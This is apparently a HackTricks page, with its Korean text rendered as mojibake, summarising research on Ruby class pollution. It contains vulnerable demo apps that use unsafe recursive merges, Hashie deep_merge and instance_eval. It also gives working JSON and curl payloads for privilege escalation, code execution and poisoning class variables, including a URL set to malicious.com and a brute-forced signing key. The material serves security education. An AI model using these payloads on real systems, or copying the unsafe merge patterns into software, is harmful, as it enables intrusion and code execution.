Ruby Class Pollution
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
λ€μ κΈμ μμ½μ λλ€: https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
Merge on Attributes
μμ:
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
μ€λͺ
- Privilege Escalation:
authorizeλ©μλλto_sκ° βAdmin.βμ λ°ννλμ§ νμΈν©λλ€. JSONμ ν΅ν΄ μλ‘μ΄to_sμμ±μ μ£Όμ νλ©΄, 곡격μλto_sλ©μλκ° βAdminβμ λ°ννλλ‘ λ§λ€μ΄ κΆνμ λΆλΉνκ² μμΉμν¬ μ μμ΅λλ€. - Remote Code Execution:
health_checkμμinstance_evalμprotected_methodsμ λμ΄λ λ©μλλ€μ μ€νν©λλ€. 곡격μκ°"puts 1"κ°μ 컀μ€ν λ©μλ μ΄λ¦μ μ£Όμ νλ©΄,instance_evalμ΄ μ΄λ₯Ό μ€ννμ¬ **remote code execution (RCE)**λ‘ μ΄μ΄μ§ μ μμ΅λλ€. - μ΄λ ν΄λΉ μμ±μ λ¬Έμμ΄ κ°μ μ€ννλ μ·¨μ½ν
evalμ§μλ¬Έμ΄ μκΈ° λλ¬Έμ κ°λ₯ν κ²μ λλ€. - μν₯ λ²μ μ ν: μ΄ μ·¨μ½μ μ κ°λ³ μΈμ€ν΄μ€μλ§ μν₯μ λ―ΈμΉλ©°, λ€λ₯Έ
Userλ°AdminμΈμ€ν΄μ€λ μν₯μ λ°μ§ μμΌλ―λ‘, 곡격 λ²μκ° μ νλ©λλ€.
μ€μ μ¬λ‘
ActiveSupportμ deep_merge
κΈ°λ³Έμ μΌλ‘λ μ·¨μ½νμ§ μμ§λ§, λ€μκ³Ό κ°μ λ°©μμΌλ‘ μ·¨μ½νκ² λ§λ€ μ μμ΅λλ€:
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
end
Hashieβs deep_merge
Hashieβs deep_merge λ©μλλ μΌλ° ν΄μκ° μλλΌ κ°μ²΄ μμ±μ μ§μ μλν©λλ€. λ³ν© μ λ©μλκ° μμ±μΌλ‘ λ체λλ κ²μ μ°¨λ¨νμ§λ§ λͺ κ°μ§ μμΈκ° μμ΅λλ€: μ΄λ¦μ΄ _, !, λλ ?λ‘ λλλ μμ±μ μ¬μ ν κ°μ²΄μ λ³ν©λ μ μμ΅λλ€.
νΉν λ¨λ
μμ± **_**κ° μμ΅λλ€. _λ λ³΄ν΅ Mash κ°μ²΄λ₯Ό λ°ννλ μμ±μ
λλ€. κ·Έλ¦¬κ³ μμΈμ ν¬ν¨λλ―λ‘ μ΄λ₯Ό μμ ν μ μμ΅λλ€.
λ€μ μμλ₯Ό 보면 {"_": "Admin"}μ μ λ¬νμ¬ _.to_s == "Admin"μ μ°νν μ μμ΅λλ€:
require 'json'
require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
Hashie deep_merge mutation regression (2025): Hashie 5.0.0μμ
Hashie::Extensions::DeepMerge#deep_mergeλ μ€μ²©λ μλΈ ν΄μλ€μ 볡μ νμ§ μκ³ μμ μ(receiver) μͺ½μμ λ³κ²½νμ΅λλ€. 곡격μ μ μ΄ λ°μ΄ν°(attacker-controlled data)λ₯Ό μ₯κΈ°κ° μ§μλλ κ°μ²΄μ λ³ν©νλ©΄ μμ² κ° λ³κ²½μ΄ μ§μλμ΄ μ΄μ μ βsafeβνλ μΈμ€ν΄μ€λ€μ΄ μ€μΌλ μ μμμ΅λλ€. μ΄ λμμ 5.0.1μμ μμ λμμ΅λλ€.
ν΄λμ€ μ€μΌμν€κΈ°
λ€μ μμ μμ Person ν΄λμ€μ κ·Έλ‘λΆν° μμλ°λ Admin λ° Regular ν΄λμ€λ₯Ό μ°Ύμ μ μμ΅λλ€. λν **KeySigner**λΌλ λ€λ₯Έ ν΄λμ€λ μμ΅λλ€:
require 'json'
require 'sinatra/base'
require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
end
# A class created to simulate signing with a key, to be infected with the third gadget
class KeySigner
@@signing_key = "default-signing-key"
def self.signing_key
@@signing_key
end
def sign(signing_key, data)
"#{data}-signed-with-#{signing_key}"
end
end
class JSONMergerApp < Sinatra::Base
# POST /merge - Infects class variables using JSON input
post '/merge' do
content_type :json
json_input = JSON.parse(request.body.read)
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
user.merge_with(json_input)
{ status: 'merged' }.to_json
end
# GET /launch-curl-command - Activates the first gadget
get '/launch-curl-command' do
content_type :json
# This gadget makes an HTTP request to the URL stored in the User class
if Person.respond_to?(:url)
url = Person.url
response = Net::HTTP.get_response(URI(url))
{ status: 'HTTP request made', url: url, response_body: response.body }.to_json
else
{ status: 'Failed to access URL variable' }.to_json
end
end
# Curl command to infect User class URL:
# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge
# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySigner
get '/sign_with_subclass_key' do
content_type :json
# This gadget signs data using the signing key stored in KeySigner class
signer = KeySigner.new
signed_data = signer.sign(KeySigner.signing_key, "data-to-sign")
{ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_json
end
# Curl command to infect KeySigner signing key (run in a loop until successful):
# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done
# GET /check-infected-vars - Check if all variables have been infected
get '/check-infected-vars' do
content_type :json
{
user_url: Person.url,
signing_key: KeySigner.signing_key
}.to_json
end
run! if app_file == $0
end
Poison Parent Class
λ€μ payloadλ‘:
curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://malicious.com"}}}' http://localhost:4567/merge
μμ ν΄λμ€ **Person**μ @@url μμ± κ°μ μμ ν μ μμ΅λλ€.
Poisoning Other Classes
λ€μ payload:
for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge --silent > /dev/null; done
μ μλ ν΄λμ€λ€μ brute-forceνμ¬ κ²°κ΅ ν΄λμ€ **KeySigner**λ₯Ό μ€μΌμμΌ signing_key κ°μ injected-signing-keyλ‘ λ³κ²½ν μ μλ€.\
μ°Έκ³ μλ£
- https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
- https://ruby.libhunt.com/hashie-latest-version
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


